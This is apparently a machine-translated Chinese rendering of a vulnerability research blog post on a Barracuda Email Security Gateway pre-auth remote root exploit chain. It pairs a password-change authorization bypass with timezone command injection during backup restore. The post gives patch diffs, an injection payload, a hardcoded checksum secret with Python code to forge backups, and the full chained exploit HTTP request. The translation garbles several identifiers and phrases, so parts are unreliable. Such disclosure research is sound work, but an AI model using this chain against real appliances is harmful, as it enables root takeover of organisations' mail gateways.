Barracuda ESG 未认证 Remote Root RCE 链CVE-2026-116606 /111560
什么是梭鱼,为什么?我们必须吗?
Barracuda的电子邮件安全网关解决方案(ESG)备受喜爱,原因有几个:
对许多人来说,它是放置在组织邮件前的设备,决定哪些邮件是垃圾邮件,哪些携带恶意软件,哪些可以通过。
对另一些人来说,是设备在UNC4841(据Mandiant)利用CVE-2023-2868为零日漏洞后,需要更换实体设备。
无论你是谁,有一点在你的体验中是一致的:它又是一台设备,生活在边缘,检查一切,并拥有屏蔽你博客文章恶意邮件所需的完全且唯一权限。
好的,那么CVE-2026-116606和CVE-2026-111560是什么?
一如既往,CVE ID总是非常吸引人——这两者也不例外,正如我们在Barracuda自身的公告中看到的,并总结如下:
单独来看,你可以比较英国地说,这两者都“不理想”。但情况更糟——如果你被锁链束缚,而你是英国人,你会形容他们“还行”。尖刻。
场景设定
为了配合今天的分析,我们设置了电器,并用我们惯常的“到底发生了什么变化”的流程对比了两个版本:
易受攻击:梭鱼 ESG 9.4.0.027
不同:Barracuda ESG 9.4.0.029
作为背景介绍,在我们讲述这篇博客文章之前,需要注意的是,Barracuda发布了多个补丁文件来应对CVE-2026-111560和CVE-2026-116606。不过,我们特别评测了两个,分别称为:
补丁-1(针对CVE-2026-116606“预认证授权绕过”)
补丁2(针对CVE-2026-111560操作系统命令注入)

没有什么比回忆起因漏洞而被机架服务器驱魔的场景更让我们感到温暖的了(是的,我们知道故事背后还有更多内容)。
“预认证授权绕过”是什么样的?有多少条腿?盐水?(CVE-2026-116606)
这是我们坐下来问自己的问题。幸运的是,我们没等太久。
在审查补丁1时,安装程序至少对其用途进行了说明:
..snip..
# Pre-authentication authorization bypass permits
# arbitrary Spam_Config restore
# CVSS 9.8 Critical
顺便说一句,对于眼尖的朋友们,你会发现这里的CVSS评分是9.8,而Barracuda的警示是9.3。我们最好的猜测是,9.8 是因为两个漏洞被同时评分(CVSS 专家很快就会认定为犯罪),而不是这里发生了什么不当的事情。

深入查看本次补丁中被更改的文件,我们很快得到了一份嫌疑人名单:
Index.pm
Backup2.pm
下午bayesian_upload点
UserRole.pm
Params.pm
快点,我们有嫌疑人:Index.pm
Index.pm 的变化令人好奇,但幸好很小。
值得称赞的是,Barracuda加入了这样一个模糊的暗示,说明问题可能是什么:
+ # Send the error and stop here. Returning a userrole
+ # would let response() run module handlers.
这条评论在整个补丁中都有体现:
if ($password_change_status ==
$Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
- $params->{json_authenticate} = {
+ $self->audit("failed_password_change", $params->{user});
+ # Send the error and stop here. Returning a userrole
+ # would let response() run module handlers.
+ return $self->_bailout_with_json_login_response(
+ $env, $params, {
success => 'true',
message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}
. ": " . $message,
status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
- };
- return $userrole;
+ });
}
所以 可以处理密码更改尝试,但问题从补丁前的代码开始,当密码更改尝试失败时(带有 )。Index.pmERROR_PASSWD_CHANGE
以下是所有易受影响函数,并附有原始行号:Index.pm
383: if(defined($params->{new_password}) && defined($params->{retype_password}) && ! (-e "/tmp/bypass_password")){
384: my $password_change_status=0;
385: my $message = "";
386: ($password_change_status, $message,$user) = Login::change_admin_password($params);
387: if($password_change_status == 1 && $user){
388: # Dont allow logoff unless the request is from an authenticated logged in user
389: my $url = "/cgi-mod/index.cgi" . uri_hash_to_querystring({
390: locale => $MS_globals::params{locale},
391: error => $status
392: });
393: my %redir = (-location=>$url);
394: $self->audit('password_change', $params->{user});
395: Login::logoff_user($status, 1, $params->{user});
396: return bailout();
397: }
398: else{
399: if ($password_change_status == $Login::status_codes{ERROR_PASSWD_CHANGE}->{val}) {
400: $params->{json_authenticate} = {
401: success => 'true',
402: message => $Login::status_codes{ERROR_PASSWD_CHANGE}->{msg}.": ". $message,
403: status => $Login::status_codes{ERROR_PASSWD_CHANGE}->{val},
404: };
405: $self->audit("failed_password_change", $params->{user});
406: return $userrole;
407: }
虽然补丁前的代码会返回冗长的 JSON 块,表示密码更改失败,但它实际上并不会停止执行。
让我们来拆解一下:
当密码更改成功(第387行)时,它以第396行结束,是“我们完成了,停止请求”的信号。
return bailout();bailout()当它在(第399行)失败时,则以第406行结束。
ERROR_PASSWD_CHANGEreturn $userrole;
下一个合乎逻辑的问题是“什么是?” “只是”当前会话的角色对象,对于我们未认证的请求来说,它就是低权限的登录界面角色。$userrole$userrole
这有什么关系?上面的密码更改代码存储在 ,调用它的方法是:_process_paramsresponse
584: sub response {
585: my ($self, $env, $params) = @_;
586:
587: $self->set_self_url($env, $params);
588:
589: # If we are not activated, this removes various changes the user may
590: # have tried to make from the params hash.
591: $self->_check_activation($env, $params);
592:
593: $self->_process_params($env, $params);
594:
595: $self->_update_variables($env, $params);
596:
597: Barracuda::Hooks::run_hooks("after write config");
_process_params返回593行,直接返回至——返回时无错误,功能继续原有。$userroleresponse
为了再现这种行为,我们向(最终到达该代码路径的端点)发送一个POST请求,正文中有两个参数:/cgi-mod/index.cgi
new_passwordretype_password
POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
user=admin&new_password=one&retype_password=two
设备会用HTTP 200和一个声明失败密码更改的JSON主体来回答:
{"message":"Error: Password Change: ","no_ajax_redirect":"true","redirect":"/cgi-mod/password_change.cgi?auth_type=Local&locale=en_US&user=admin&error=Error: Password Change: ","success":"true"}
“但等等,”你问,“拒绝的认证操作难道不能阻止任何进一步的特权行为发生吗?登录界面角色有什么用?”
别再叫我们雪莉了。
现在我们只需要一个值得随便加装的东西,这正是下一个弱点。
幸运的是,我们有一个指令注射漏洞可以配对!(CVE-2026-111560)
虽然我们在密码更改机制中遇到了Barracuda所描述的预认证授权绕过(Pre-Authentication Authorization Bypass)的奇怪行为,但我们仍然需要确定实际能做些什么。
分析我们实际上称之为“补丁2”的过程,我们再次看到了完整的 Perl 源代码,让我们的生活变得简单了一些。
在本次补丁中,有两个文件特别引人注目:
Backup2.pm
fix_tz.pl
差异 Backup2.pm
经过简要分析,Backup2.pm 中唯一看似有意义的改动是对补丁前代码块的:
if( -f "/home/product/code/config/tz" ) {
my $system_timezone = Barracuda::Config::get('system_timezone');
`sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz`;
}
通过观察当我们重新关注补丁版本时的变化,我们能更清楚地了解问题。实际上,梭鱼已经用......更安全的做法:
if( -f "/home/product/code/config/tz" ) {
my $system_timezone = Barracuda::Config::get('system_timezone');
- `sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz`;
+ if ($system_timezone && -f "/usr/share/zoneinfo/$system_timezone") {
+ open my $in, '<', '/home/product/code/config/tz' or die $!;
+ my @lines = <$in>;
+ close $in;
+ open my $out, '>', '/home/product/code/config/tz' or die $!;
+ for my $line (@lines) {
+ $line =~ s/^TZ=.*/TZ=$system_timezone/ if $line =~ /^TZ=/;
+ print $out $line;
+ }
+ close $out;
+ } else {
+ warn "Skipping tz restore: invalid system_timezone='$system_timezone'\n";
+ }
}
总结来说,这给了我们三个主要原因:
首先,供应商现在把它当作不值得信任的程度,要求在使用前先解析为真实文件。
system_timezone/usr/share/zoneinfo/其次,旧铁路线跨越了贝壳边界。Perl 的反向跳动是命令替换,所以 Perl 构建字符串并交给一个 shell。数值周围的单引号看起来是保护性的,但它们只是生成命令中的字符,不是 Perl 的安全边界。
形状如这样的值可重写壳文法:
Region#';<attacker-command>;#
第一个引用结束了预期表达,分号开始新的命令,并注释了其余部分。sed#
最后(这部分让我们紧张起来),函数名( )中有一个相当重要的线索,说明我们如何利用这个漏洞。.
finalize_restorefinalize_restore
差异fix_tz.pl
我们补丁差异中重点显示的第二个文件是fix_tz.pl,讲述了类似的命令注入故事,特别是与时区设置相关的。
my $system_timezone = Barracuda::Config::get('system_timezone');
exit if !$system_timezone;
`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock`;
实际上,补丁就是在这儿加了个门:
my $system_timezone = Barracuda::Config::get('system_timezone');
exit if !$system_timezone;
+if (! -f "/usr/share/zoneinfo/$system_timezone") {
+ warn "Invalid timezone: $system_timezone\n";
+ exit 1;
+}
并且移除了shell支持的更新,取而代之的是相同的读、重写、写Perl模式:
-`sed -i 's#ZONE=.*#ZONE=$system_timezone#' /etc/sysconfig/clock`;
+if (-f '/etc/sysconfig/clock') {
+ open my $in, '<', '/etc/sysconfig/clock' or die $!;
+ my @lines = <$in>;
+ close $in;
+ open my $out, '>', '/etc/sysconfig/clock' or die $!;
+ for my $line (@lines) {
+ $line =~ s/^ZONE=.*/ZONE=$system_timezone/ if $line =~ /^ZONE=/;
+ print $out $line;
+ }
+ close $out;
+}
总结:DR,我们处理的是两个水槽:一个在内,另一个在。Backup2.pmfix_tz.pl
实际上,写入产品时区文件并写入操作系统时钟文件——同样看似受攻击者控制且可操作的输入同时传达两者。Backup2::finalize_restorefix_tz.pl
“有限权限用户不能写这个文件”——没错,但我们讨论的是安全设备。它不同——这正是上面代码用来执行文件的原因。sudofix_tz.pl
if( -f "/home/product/code/firmware/current/bin/fix_tz.pl" ) {
system('/usr/bin/sudo',
'/home/product/code/firmware/current/bin/fix_tz.pl');
}
这不仅仅是普通的操作系统命令注入漏洞,而是执行时为 。root
让我们好好利用它
为了触发这个漏洞,我们寻找能够自然访问该漏洞代码的地方。有一个地方很显眼:一个名为 的上传处理器。bayesian_upload.pm
这是名为 :bayesian_upload.pm
53: bc_sub bayesian_upload_handler =>
54: perm { 1 },
55: web_params( [param('user'), param('bayesian'), param('pu_bayesian_upload')]),
56: does {
57: my $args = shift;
58: return if(!defined($args->{'bayesian'}) || $ENV{REMOTE_USER} eq 'guest');
59:
60: my $lock;
61: my $error = '';
62: my $filename = $Barracuda::BackupConfig::StagingJob::BACKUP_FILE;
63:
64: try {
65: $lock = Barracuda::Backup2::_grab_lock();
66:
67: my $uploader = $args->{bayesian};
68: if ($uploader->to_file( { dest => $filename } )) {
69: throw Barracuda::Exception;
70: }
71: }
72: catch Barracuda::Backup2::Lock_Error with {
73: $error = 'lid_2876';
74: }
75: catch Error with {
76: $error = 'lid_379';
77: }
78: finally {
79: $lock && $lock->punlock();
80: if ($error) {
81: push(@Barracuda::UI::status_message,
82: {
83: message => $error,
84: type => 'error'
85: }
86: );
87: return;
88: }
89: };
90:
91: my %params;
92: $params{full_reload} = 0;
93: my $ret = 0;
94: try {
95: $ret = Barracuda::Backup2::restore_all($filename, %params);
96: } catch Error with {
如你所见,这个功能相当简单。它期望有几个参数,如果参数符合预期,我们就能到达第95行,恢复所有函数在用户提供的备份文件上执行。
备份恢复到命令执行
生活从来没有那么简单,我们的第一个问题是:“那么备份文件到底是什么样子?”
幸运的是,备份是一个包含各种细节的文件的tar文件。这是我们制作的一个示例形状:backup.xml
<backup>
<component name="Spam_Config">
<file id="mysql" checksum="[generated integrity value]" path="mysql-poc.gz" />
</component>
<info filename="poc.bak" firmware_version="9.4.0.020"
model="V300" platform="5" product="emailswitch" type="manual_backup">
<component_version name="Config" number="1" />
<component_version name="Files" number="1" />
<component_version name="Spam_Config" number="1" />
<component_version name="mysql" number="1" />
</info>
</backup>
你可能在之前的补丁评论中看到过。这就是我们的线索,而且它作为文件的一部分存在。Spam_Configbackup.xml
设备恢复时会加载一个小型 MySQL 转储,并将定义的信息恢复到本地 MySQL 数据库中。Spam_Config
幸运的是,其中一行是。你明白接下来会发生什么吗?system_timezone
如果我们用卡在末尾的 shell 命令恢复行的值:system_timezone
UTC#';touch /tmp/watchTowr;#
但我们先别急着说——我们还没真正建立有效的备份文件。
让我们的备份被接受
正如我们讨论的,备份通过一个称为 的函数恢复。该函数解压档案,读取部分列表,并恢复每个部分:restore_all
444: sub restore_all {
445: my $bundle_filename = shift;
446: my %args = @_;
447: if (not exists($args{full_reload})) {
448: $args{full_reload} = 1;
449: }
450: change_directory("/mail/tmp");
451: my $pl = _grab_lock();
452: log_message("Starting restore opertation...");
453: my $poke_progress = sub { };
454: if ($args{progress_cb}) {
455: if (ref($args{progress_cb}) ne 'CODE') {
456: croak('progress_cb must be a CODE reference.');
457: }
458: $args{progress_cb}->(0);
459: }
460: my $dir;
461: if (Barracuda::FrameworkConfig::framework_config('backup_compatibility_on')) {
462: require IPC::Run;
463: my ($out, $err);
464: eval {
465: IPC::Run::run(["$Barracuda::Environment::path_firmware/bin/file", '-b', $bundle_filename], \undef, \$out, \$err);
466: };
467: chomp($out);
468: if ($out && $out ne 'POSIX tar archive (GNU)') {
469: $dir = $TMP_DIR;
470: }
471: }
472: if ($dir) {
473: system('cp', '-f', $bundle_filename, $dir . '/Backup.bak');
474: } else {
475: log_message("Untaring bundle...");
476: $dir = untar_bundle($bundle_filename);
477: }
478: log_message("Reading the components to restore...");
479: my $data = read_staged_metadata($dir);
480: $poke_progress = _create_poke_progress($data, $args{progress_cb});
481: log_message("Restoring components...");
482: restore_components($data, $dir, \%args, $poke_progress);
483: # Reload & reboot
484: $pl->punlock();
485: log_message("Finalizing restore...");
486: finalize_restore(\%args);
487: return 1;
打包备选
看起来很简单。我们只需在XML文件里放一些SQL查询,先加tar,然后恢复。
但不,生活惩罚我们。
关于那个校验和
每个文件都有一个 ,恢复函数会认真验证该校验码......它读取文件的字节,计算自己的校验和,如果校验和不匹配则拒绝备份。所以我们通常在这些字段里输入随机数字的方法在这里行不通。backup.xmlchecksum
但还有一个有趣的部分。该校验和的构建方式如下:
校验和就是 。md5(file_bytes + secret + ".")
你说秘密?那必须是一个动态上唯一的值,经常变化,或者以某种方式与机器相关且不可预测。
我们来展示秘密。
CHECKSUM_SECRET = b"Barracuda Networks is your new best friend"
但实际上校验和只是。md5(file_bytes + "Barracuda Networks is your new best friend" + ".")
如下所示,这让我们能够自行确定校验和:
47: mysql_dump = gzip.compress(sql, compresslevel=9, mtime=0)
48: checksum = hashlib.md5(mysql_dump + CHECKSUM_SECRET + b".").hexdigest()
49: timestamp = time.strftime("%Y%m%dT%H%M%S", time.gmtime())
50: backup_xml = f"""<?xml version='1.0' standalone='yes'?>
51: <backup>
52: <component name="Spam_Config">
53: <file id="mysql" checksum="{checksum}" path="mysql-poc.gz" />
把一切拼凑起来
虽然“多词造就许多长篇博客”的谚语很准确,但遗憾的是,今天博客文章中结合了这两个漏洞的HTTP请求其实相当简单:
代码收到
POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: multipart/form-data; boundary=BOUNDARY
--BOUNDARY
Content-Disposition: form-data; name="user"
admin
--BOUNDARY
Content-Disposition: form-data; name="new_password"
one
--BOUNDARY
Content-Disposition: form-data; name="retype_password"
two
--BOUNDARY
Content-Disposition: form-data; name="UPDATE_activation_code"
1
--BOUNDARY
Content-Disposition: form-data; name="pu_bayesian_upload"
1
--BOUNDARY
Content-Disposition: form-data; name="bayesian"; filename="poc.bak"
Content-Type: application/octet-stream
<TAR BACKUP>
--BOUNDARY--